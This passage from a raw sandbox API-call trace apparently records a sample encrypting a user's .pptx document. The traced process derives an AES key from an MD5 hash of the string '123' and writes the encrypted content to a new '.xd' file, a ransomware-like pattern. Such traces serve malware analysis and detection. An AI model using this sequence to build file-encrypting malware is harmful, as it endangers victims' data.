lpsz="__CRYPT_CONTEXT") returned 0xf [0070.790] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.790] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0070.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16215d0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0070.790] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0070.790] CryptCreateHash (in: hProv=0x17aa9a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0070.790] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.790] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.790] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.790] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0070.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629400, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0070.791] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0070.791] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0070.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629430, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0070.791] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.791] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.791] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.791] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0070.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621870, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0070.791] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0070.791] CryptHashData (hHash=0x164c4f0, pbData=0x1629340, dwDataLen=0x3, dwFlags=0x1) returned 1 [0070.791] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.791] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.791] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.792] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.792] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.792] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.792] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.792] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0070.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621630, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0070.792] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0070.792] CryptDeriveKey (in: hProv=0x17aa9a0, Algid=0x6610, hBaseData=0x164c4f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c2b0) returned 1 [0070.792] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.792] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.792] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.792] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.792] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.792] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.792] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0070.792] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0070.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0070.793] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0070.793] CryptDestroyHash (hHash=0x164c4f0) returned 1 [0070.793] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.793] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.793] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.793] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.793] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.793] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OA1G3S9v3IVOuJc9.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\oa1g3s9v3ivoujc9.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0070.793] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.793] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0070.794] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.794] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.794] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.794] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0070.794] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OA1G3S9v3IVOuJc9.pptx.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\oa1g3s9v3ivoujc9.pptx.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0070.794] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.794] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.794] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.794] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.796] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0070.796] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x54de, lpOverlapped=0x0) returned 1 [0070.798] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0070.800] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.800] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.800] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.800] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0070.801] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.801] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.801] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0070.801] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.801] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0070.801] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.801] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.801] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.801] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0070.801] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0070.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0070.802] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0070.802] CryptGetKeyParam (in: hKey=0x164c2b0, dwParam=0x7, pbData=0x1629470, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629470*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0070.802] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.802] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0070.802] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.802] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.802] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.802] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.802] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.802] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.802] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0070.802] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.802] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.802] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.802] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.802] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.802] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0070.803] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.803] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.803] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.803] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.803] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.803] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.803] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.803] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.803] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.804] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0070.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16218e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0070.804] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0070.804] CryptEncrypt (in: hKey=0x164c2b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x54de, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x54e0) returned 1 [0070.804] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.804] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.804] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.804] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.804] CharLowerBuffW (in: lpsz="byte[21729]", cchLength=0xb | out: lpsz="byte[21729]") returned 0xb [0070.804] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.805] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.805] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.805] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.805] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0070.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a80, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0070.805] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0070.805] CryptEncrypt (in: hKey=0x164c2b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17b97a8*, pdwDataLen=0x130e618*=0x54de, dwBufLen=0x54e0 | out: pbData=0x17b97a8*, pdwDataLen=0x130e618*=0x54e0) returned 1 [0070.805] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.805] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.805] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.806] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.806] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.806] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.806] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0070.806] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.806] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0070.806] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.806] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0070.806] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.806] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0070.806] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0070.806] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.806] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0070.806] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.807] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.807] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 